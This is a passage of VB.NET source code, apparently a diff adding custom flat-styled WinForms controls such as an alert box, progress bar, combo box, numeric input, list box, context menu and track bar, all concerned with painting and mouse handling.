Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + X = e.X : Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) + Me.Visible = False + End Sub + +#End Region + +#End Region + +#Region " Colors" + + Private SuccessColor As Color = Color.FromArgb(60, 85, 79) + Private SuccessText As Color = Color.FromArgb(35, 169, 110) + Private ErrorColor As Color = Color.FromArgb(87, 71, 71) + Private ErrorText As Color = Color.FromArgb(254, 142, 122) + Private InfoColor As Color = Color.FromArgb(70, 91, 94) + Private InfoText As Color = Color.FromArgb(97, 185, 186) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.FromArgb(60, 70, 73) + Size = New Size(576, 42) + Location = New Point(10, 61) + Font = New Font("Segoe UI", 10) + Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + Select Case K + Case _Kind.Success + '-- Base + .FillRectangle(New SolidBrush(SuccessColor), Base) + + '-- Ellipse + .FillEllipse(New SolidBrush(SuccessText), New Rectangle(8, 9, 24, 24)) + .FillEllipse(New SolidBrush(SuccessColor), New Rectangle(10, 11, 20, 20)) + + '-- Checked Sign + .DrawString("ü", New Font("Wingdings", 22), New SolidBrush(SuccessText), New Rectangle(7, 7, W, H), NearSF) + .DrawString(Text, Font, New SolidBrush(SuccessText), New Rectangle(48, 12, W, H), NearSF) + + '-- X button + .FillEllipse(New SolidBrush(Color.FromArgb(35, Color.Black)), New Rectangle(W - 30, H - 29, 17, 17)) + .DrawString("r", New Font("Marlett", 8), New SolidBrush(SuccessColor), New Rectangle(W - 28, 16, W, H), NearSF) + + Select Case State ' -- Mouse Over + Case MouseState.Over + .DrawString("r", New Font("Marlett", 8), New SolidBrush(Color.FromArgb(25, Color.White)), New Rectangle(W - 28, 16, W, H), NearSF) + End Select + + Case _Kind.Error + '-- Base + .FillRectangle(New SolidBrush(ErrorColor), Base) + + '-- Ellipse + .FillEllipse(New SolidBrush(ErrorText), New Rectangle(8, 9, 24, 24)) + .FillEllipse(New SolidBrush(ErrorColor), New Rectangle(10, 11, 20, 20)) + + '-- X Sign + .DrawString("r", New Font("Marlett", 16), New SolidBrush(ErrorText), New Rectangle(6, 11, W, H), NearSF) + .DrawString(Text, Font, New SolidBrush(ErrorText), New Rectangle(48, 12, W, H), NearSF) + + '-- X button + .FillEllipse(New SolidBrush(Color.FromArgb(35, Color.Black)), New Rectangle(W - 32, H - 29, 17, 17)) + .DrawString("r", New Font("Marlett", 8), New SolidBrush(ErrorColor), New Rectangle(W - 30, 17, W, H), NearSF) + + Select Case State + Case MouseState.Over ' -- Mouse Over + .DrawString("r", New Font("Marlett", 8), New SolidBrush(Color.FromArgb(25, Color.White)), New Rectangle(W - 30, 15, W, H), NearSF) + End Select + + Case _Kind.Info + '-- Base + .FillRectangle(New SolidBrush(InfoColor), Base) + + '-- Ellipse + .FillEllipse(New SolidBrush(InfoText), New Rectangle(8, 9, 24, 24)) + .FillEllipse(New SolidBrush(InfoColor), New Rectangle(10, 11, 20, 20)) + + '-- Info Sign + .DrawString("¡", New Font("Segoe UI", 20, FontStyle.Bold), New SolidBrush(InfoText), New Rectangle(12, -4, W, H), NearSF) + .DrawString(Text, Font, New SolidBrush(InfoText), New Rectangle(48, 12, W, H), NearSF) + + '-- X button + .FillEllipse(New SolidBrush(Color.FromArgb(35, Color.Black)), New Rectangle(W - 32, H - 29, 17, 17)) + .DrawString("r", New Font("Marlett", 8), New SolidBrush(InfoColor), New Rectangle(W - 30, 17, W, H), NearSF) + + Select Case State + Case MouseState.Over ' -- Mouse Over + .DrawString("r", New Font("Marlett", 8), New SolidBrush(Color.FromArgb(25, Color.White)), New Rectangle(W - 30, 17, W, H), NearSF) + End Select + End Select + + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatProgressBar : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private _Value As Integer = 0 + Private _Maximum As Integer = 100 + +#End Region + +#Region " Properties" + +#Region " Control" + + + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(V As Integer) + Select Case V + Case Is < _Value + _Value = V + End Select + _Maximum = V + Invalidate() + End Set + End Property + + + Public Property Value() As Integer + Get + Select Case _Value + Case 0 + Return 0 + Invalidate() + Case Else + Return _Value + Invalidate() + End Select + End Get + Set(V As Integer) + Select Case V + Case Is > _Maximum + V = _Maximum + Invalidate() + End Select + _Value = V + Invalidate() + End Set + End Property + +#End Region + +#Region " Colors" + + + Public Property ProgressColor As Color + Get + Return _ProgressColor + End Get + Set(value As Color) + _ProgressColor = value + End Set + End Property + + + Public Property DarkerProgress As Color + Get + Return _DarkerProgress + End Get + Set(value As Color) + _DarkerProgress = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 42 + End Sub + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Height = 42 + End Sub + + Public Sub Increment(ByVal Amount As Integer) + Value += Amount + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _ProgressColor As Color = _FlatColor + Private _DarkerProgress As Color = Color.FromArgb(23, 148, 92) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.FromArgb(60, 70, 73) + Height = 42 + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(0, 24, W, H) + Dim GP, GP2, GP3 As New GraphicsPath + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Progress Value + Dim iValue As Integer = CInt(_Value / _Maximum * Width) + + Select Case Value + Case 0 + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + '--Progress + .FillRectangle(New SolidBrush(_ProgressColor), New Rectangle(0, 24, iValue - 1, H - 1)) + Case 100 + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + '--Progress + .FillRectangle(New SolidBrush(_ProgressColor), New Rectangle(0, 24, iValue - 1, H - 1)) + Case Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '--Progress + GP.AddRectangle(New Rectangle(0, 24, iValue - 1, H - 1)) + .FillPath(New SolidBrush(_ProgressColor), GP) + + '-- Hatch Brush + Dim HB As New HatchBrush(HatchStyle.Plaid, _DarkerProgress, _ProgressColor) + .FillRectangle(HB, New Rectangle(0, 24, iValue - 1, H - 1)) + + '-- Balloon + Dim Balloon As New Rectangle(iValue - 18, 0, 34, 16) + GP2 = Helpers.RoundRec(Balloon, 4) + .FillPath(New SolidBrush(_BaseColor), GP2) + + '-- Arrow + GP3 = Helpers.DrawArrow(iValue - 9, 16, True) + .FillPath(New SolidBrush(_BaseColor), GP3) + + '-- Value > You can add "%" > value & "%" + .DrawString(Value, New Font("Segoe UI", 10), New SolidBrush(_ProgressColor), New Rectangle(iValue - 11, -2, W, H), NearSF) + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatComboBox : Inherits Windows.Forms.ComboBox + +#Region " Variables" + + Private W, H As Integer + Private _StartIndex As Integer = 0 + Private x, y As Integer + +#End Region + +#Region " Properties" + +#Region " Mouse States" + + Private State As MouseState = MouseState.None + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + x = e.Location.X + y = e.Location.Y + Invalidate() + If e.X < Width - 41 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnDrawItem(e As DrawItemEventArgs) + MyBase.OnDrawItem(e) : Invalidate() + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + Invalidate() + End If + End Sub + + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) : Invalidate() + End Sub + +#End Region + +#Region " Colors" + + _ + Public Property HoverColor As Color + Get + Return _HoverColor + End Get + Set(value As Color) + _HoverColor = value + End Set + End Property + +#End Region + + Private Property StartIndex As Integer + Get + Return _StartIndex + End Get + Set(ByVal value As Integer) + _StartIndex = value + Try + MyBase.SelectedIndex = value + Catch + End Try + Invalidate() + End Set + End Property + + Sub DrawItem_(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles Me.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + + e.Graphics.SmoothingMode = 2 + e.Graphics.PixelOffsetMode = 2 + e.Graphics.TextRenderingHint = 5 + e.Graphics.InterpolationMode = 7 + + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + '-- Selected item + e.Graphics.FillRectangle(New SolidBrush(_HoverColor), e.Bounds) + Else + '-- Not Selected + e.Graphics.FillRectangle(New SolidBrush(_BaseColor), e.Bounds) + End If + + '-- Text + e.Graphics.DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), New Font("Segoe UI", 8), _ + Brushes.White, New Rectangle(e.Bounds.X + 2, e.Bounds.Y + 2, e.Bounds.Width, e.Bounds.Height)) + + + e.Graphics.Dispose() + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 18 + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(25, 27, 29) + Private _BGColor As Color = Color.FromArgb(45, 47, 49) + Private _HoverColor As Color = Color.FromArgb(35, 168, 109) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + + DrawMode = DrawMode.OwnerDrawFixed + BackColor = Color.FromArgb(45, 45, 48) + ForeColor = Color.White + DropDownStyle = ComboBoxStyle.DropDownList + Cursor = Cursors.Hand + StartIndex = 0 + ItemHeight = 18 + Font = New Font("Segoe UI", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width : H = Height + + Dim Base As New Rectangle(0, 0, W, H) + Dim Button As New Rectangle(CInt(W - 40), 0, W, H) + Dim GP, GP2 As New GraphicsPath + + With G + .Clear(Color.FromArgb(45, 45, 48)) + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + + '-- Base + .FillRectangle(New SolidBrush(_BGColor), Base) + + '-- Button + GP.Reset() + GP.AddRectangle(Button) + .SetClip(GP) + .FillRectangle(New SolidBrush(_BaseColor), Button) + .ResetClip() + + '-- Lines + .DrawLine(Pens.White, W - 10, 6, W - 30, 6) + .DrawLine(Pens.White, W - 10, 12, W - 30, 12) + .DrawLine(Pens.White, W - 10, 18, W - 30, 18) + + '-- Text + .DrawString(Text, Font, Brushes.White, New Point(4, 6), NearSF) + End With + + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatStickyButton : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private State As MouseState = MouseState.None + Private _Rounded As Boolean = False + +#End Region + +#Region " Properties" + +#Region " MouseStates" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#Region " Function" + + Private Function GetConnectedSides() As Boolean() + Dim Bool = New Boolean(3) {False, False, False, False} + + For Each B As Control In Parent.Controls + If TypeOf B Is FlatStickyButton Then + If B Is Me Or Not Rect.IntersectsWith(Rect) Then Continue For + Dim A = Math.Atan2(Left() - B.Left, Top - B.Top) * 2 / Math.PI + If A \ 1 = A Then Bool(A + 1) = True + End If + Next + + Return Bool + End Function + + Private ReadOnly Property Rect() As Rectangle + Get + Return New Rectangle(Left, Top, Width, Height) + End Get + End Property + +#End Region + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + + _ + Public Property Rounded As Boolean + Get + Return _Rounded + End Get + Set(value As Boolean) + _Rounded = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + 'Height = 32 + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + 'Size = New Size(112, 32) + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = _FlatColor + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(106, 32) + BackColor = Color.Transparent + Font = New Font("Segoe UI", 12) + Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width : H = Height + + Dim GP As New GraphicsPath + + Dim GCS = GetConnectedSides() + Dim RoundedBase = Helpers.RoundRect(0, 0, W, H, , Not (GCS(2) Or GCS(1)), Not (GCS(1) Or GCS(0)), Not (GCS(3) Or GCS(0)), Not (GCS(3) Or GCS(2))) + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + Select Case State + Case MouseState.None + If Rounded Then + '-- Base + GP = RoundedBase + .FillPath(New SolidBrush(_BaseColor), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + Case MouseState.Over + If Rounded Then + '-- Base + GP = RoundedBase + .FillPath(New SolidBrush(_BaseColor), GP) + .FillPath(New SolidBrush(Color.FromArgb(20, Color.White)), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(20, Color.White)), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + Case MouseState.Down + If Rounded Then + '-- Base + GP = RoundedBase + .FillPath(New SolidBrush(_BaseColor), GP) + .FillPath(New SolidBrush(Color.FromArgb(20, Color.Black)), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(20, Color.Black)), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + End Select + + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatNumeric : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private State As MouseState = MouseState.None + Private x, y As Integer + Private _Value, _Min, _Max As Long + Private Bool As Boolean + +#End Region + +#Region " Properties" + + Public Property Value As Long + Get + Return _Value + End Get + Set(value As Long) + If value <= _Max And value >= _Min Then _Value = value + Invalidate() + End Set + End Property + + Public Property Maximum As Long + Get + Return _Max + End Get + Set(value As Long) + If value > _Min Then _Max = value + If _Value > _Max Then _Value = _Max + Invalidate() + End Set + End Property + + Public Property Minimum As Long + Get + Return _Min + End Get + Set(value As Long) + If value < _Max Then _Min = value + If _Value < _Min Then _Value = Minimum + Invalidate() + End Set + End Property + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + x = e.Location.X + y = e.Location.Y + Invalidate() + If e.X < Width - 23 Then Cursor = Cursors.IBeam Else Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If x > Width - 21 AndAlso x < Width - 3 Then + If y < 15 Then + If (Value + 1) <= _Max Then _Value += 1 + Else + If (Value - 1) >= _Min Then _Value -= 1 + End If + Else + Bool = Not Bool + Focus() + End If + Invalidate() + End Sub + + Protected Overrides Sub OnKeyPress(e As KeyPressEventArgs) + MyBase.OnKeyPress(e) + Try + If Bool Then _Value = CStr(CStr(_Value) & e.KeyChar.ToString()) + If _Value > _Max Then _Value = _Max + Invalidate() + Catch : End Try + End Sub + + Protected Overrides Sub OnKeyDown(e As KeyEventArgs) + MyBase.OnKeyDown(e) + If e.KeyCode = Keys.Back Then + Value = 0 + End If + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 30 + End Sub + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property ButtonColor As Color + Get + Return _ButtonColor + End Get + Set(value As Color) + _ButtonColor = value + End Set + End Property + +#End Region + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _ButtonColor As Color = _FlatColor + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Font = New Font("Segoe UI", 10) + BackColor = Color.FromArgb(60, 70, 73) + ForeColor = Color.White + _Min = 0 + _Max = 9999999 + End Sub + + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width : H = Height + + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + .FillRectangle(New SolidBrush(_ButtonColor), New Rectangle(Width - 24, 0, 24, H)) + + '-- Add + .DrawString("+", New Font("Segoe UI", 12), Brushes.White, New Point(Width - 12, 8), CenterSF) + '-- Subtract + .DrawString("-", New Font("Segoe UI", 10, FontStyle.Bold), Brushes.White, New Point(Width - 12, 22), CenterSF) + + '-- Text + .DrawString(Value, Font, Brushes.White, New Rectangle(5, 1, W, H), New StringFormat() With {.LineAlignment = StringAlignment.Center}) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatListBox : Inherits Control + +#Region " Variables" + + Private WithEvents ListBx As New ListBox + Private _items As String() = {""} + +#End Region + +#Region " Poperties" + + _ + Public Property items As String() + Get + Return _items + End Get + Set(value As String()) + _items = value + ListBx.Items.Clear() + ListBx.Items.AddRange(value) + Invalidate() + End Set + End Property + + _ + Public Property SelectedColor As Color + Get + Return _SelectedColor + End Get + Set(value As Color) + _SelectedColor = value + End Set + End Property + + Public ReadOnly Property SelectedItem() As String + Get + Return ListBx.SelectedItem + End Get + End Property + + Public ReadOnly Property SelectedIndex() As Integer + Get + Return ListBx.SelectedIndex + If ListBx.SelectedIndex < 0 Then Exit Property + End Get + End Property + + Public Sub Clear() + ListBx.Items.Clear() + End Sub + + Public Sub ClearSelected() + For i As Integer = (ListBx.SelectedItems.Count - 1) To 0 Step -1 + ListBx.Items.Remove(ListBx.SelectedItems(i)) + Next + End Sub + + Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) Handles ListBx.DrawItem + If e.Index < 0 Then Exit Sub + e.DrawBackground() + e.DrawFocusRectangle() + + e.Graphics.SmoothingMode = 2 + e.Graphics.PixelOffsetMode = 2 + e.Graphics.InterpolationMode = 7 + e.Graphics.TextRenderingHint = 5 + + If InStr(e.State.ToString, "Selected,") > 0 Then '-- if selected + '-- Base + e.Graphics.FillRectangle(New SolidBrush(_SelectedColor), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + + '-- Text + e.Graphics.DrawString(" " & ListBx.Items(e.Index).ToString(), New Font("Segoe UI", 8), Brushes.White, e.Bounds.X, e.Bounds.Y + 2) + Else + '-- Base + e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(51, 53, 55)), New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height)) + + '-- Text + e.Graphics.DrawString(" " & ListBx.Items(e.Index).ToString(), New Font("Segoe UI", 8), Brushes.White, e.Bounds.X, e.Bounds.Y + 2) + End If + + e.Graphics.Dispose() + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(ListBx) Then + Controls.Add(ListBx) + End If + End Sub + + Sub AddRange(ByVal items As Object()) + ListBx.Items.Remove("") + ListBx.Items.AddRange(items) + End Sub + + Sub AddItem(ByVal item As Object) + ListBx.Items.Remove("") + ListBx.Items.Add(item) + End Sub + +#End Region + +#Region " Colors" + + Private BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _SelectedColor As Color = _FlatColor + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + + ListBx.DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed + ListBx.ScrollAlwaysVisible = False + ListBx.HorizontalScrollbar = False + ListBx.BorderStyle = BorderStyle.None + ListBx.BackColor = BaseColor + ListBx.ForeColor = Color.White + ListBx.Location = New Point(3, 3) + ListBx.Font = New Font("Segoe UI", 8) + ListBx.ItemHeight = 20 + ListBx.Items.Clear() + ListBx.IntegralHeight = False + + Size = New Size(131, 101) + BackColor = BaseColor + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + + Dim Base As New Rectangle(0, 0, Width, Height) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Size + ListBx.Size = New Size(Width - 6, Height - 2) + + '-- Base + .FillRectangle(New SolidBrush(BaseColor), Base) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatContextMenuStrip : Inherits ContextMenuStrip + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + Sub New() + MyBase.New() + Renderer = New ToolStripProfessionalRenderer(New TColorTable()) + ShowImageMargin = False + ForeColor = Color.White + Font = New Font("Segoe UI", 8) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + MyBase.OnPaint(e) + e.Graphics.TextRenderingHint = 5 + End Sub + + Class TColorTable : Inherits ProfessionalColorTable + +#Region " Properties" + +#Region " Colors" + + _ + Public Property _BackColor As Color + Get + Return BackColor + End Get + Set(value As Color) + BackColor = value + End Set + End Property + + _ + Public Property _CheckedColor As Color + Get + Return CheckedColor + End Get + Set(value As Color) + CheckedColor = value + End Set + End Property + + _ + Public Property _BorderColor As Color + Get + Return BorderColor + End Get + Set(value As Color) + BorderColor = value + End Set + End Property + +#End Region + +#End Region + +#Region " Colors" + + Private BackColor As Color = Color.FromArgb(45, 47, 49) + Private CheckedColor As Color = _FlatColor + Private BorderColor As Color = Color.FromArgb(53, 58, 60) + +#End Region + +#Region " Overrides" + + Public Overrides ReadOnly Property ButtonSelectedBorder As Color + Get + Return BackColor + End Get + End Property + Public Overrides ReadOnly Property CheckBackground() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property CheckPressedBackground() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property CheckSelectedBackground() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property ImageMarginGradientBegin() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property ImageMarginGradientEnd() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property ImageMarginGradientMiddle() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property MenuBorder() As Color + Get + Return BorderColor + End Get + End Property + Public Overrides ReadOnly Property MenuItemBorder() As Color + Get + Return BorderColor + End Get + End Property + Public Overrides ReadOnly Property MenuItemSelected() As Color + Get + Return CheckedColor + End Get + End Property + Public Overrides ReadOnly Property SeparatorDark() As Color + Get + Return BorderColor + End Get + End Property + Public Overrides ReadOnly Property ToolStripDropDownBackground() As Color + Get + Return BackColor + End Get + End Property + +#End Region + + End Class + +End Class + + Class FlatTrackBar : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private Val As Integer + Private Bool As Boolean + Private Track As Rectangle + Private Knob As Rectangle + Private Style_ As _Style + +#End Region + +#Region " Properties" + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + MyBase.OnMouseDown(e) + If e.Button = Windows.Forms.MouseButtons.Left Then + Val = CInt((_Value - _Minimum) / (_Maximum - _Minimum) * (Width - 11)) + Track = New Rectangle(Val, 0, 10, 20) + + Bool = Track.Contains(e.Location) + End If + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + MyBase.OnMouseMove(e) + If Bool AndAlso e.X > -1 AndAlso e.X < (Width + 1) Then + Value = _Minimum + CInt((_Maximum - _Minimum) * (e.X / Width)) + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) : Bool = False + End Sub + +#End Region + +#Region " Styles" + + _ + Enum _Style + Slider + Knob + End Enum + + Public Property Style As _Style + Get + Return Style_ + End Get + Set(value As _Style) + Style_ = value + End Set + End Property + +#End Region + +#Region " Colors" + + _ + Public Property TrackColor As Color + Get + Return _TrackColor + End Get + Set(value As Color) + _TrackColor = value + End Set + End Property + + _ + Public Property HatchColor As Color + Get + Return _HatchColor + End Get + Set(value As Color) + _HatchColor = value + End Set + End Property + +#End Region + + Event Scroll(ByVal sender As Object) + Private _Minimum As Integer + Public Property Minimum As Integer + Get + Return Minimum + End Get + Set(value As Integer) + If value < 0 Then + End If + + _Minimum = value + + If value > _Value Then _Value = value + If value > _Maximum Then _Maximum = value + Invalidate() + End Set + End Property + Private _Maximum As Integer = 10 + Public Property Maximum As Integer + Get + Return _Maximum + End Get + Set(value As Integer) + If value < 0 Then + End If + + _Maximum = value + If value < _Value Then _Value = value + If value < _Minimum Then _Minimum = value + Invalidate() + End Set + End Property + Private _Value As Integer + Public Property Value As Integer + Get + Return _Value + End Get + Set(value As Integer) + If value = _Value Then Return + + If value > _Maximum OrElse value < _Minimum Then + End If + + _Value = value + Invalidate() + RaiseEvent Scroll(Me) + End Set + End Property + Private _ShowValue As Boolean = False + Public Property ShowValue As Boolean + Get + Return _ShowValue + End Get + Set(value As Boolean) + _ShowValue = value + End Set + End Property + + Protected Overrides Sub OnKeyDown(e As KeyEventArgs) + MyBase.OnKeyDown(e) + If e.KeyCode = Keys.Subtract Then + If Value = 0 Then Exit Sub + Value -= 1 + ElseIf e.KeyCode = Keys.Add Then + If Value = _Maximum Then Exit Sub + Value += 1 + End If + End Sub + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 23 + End 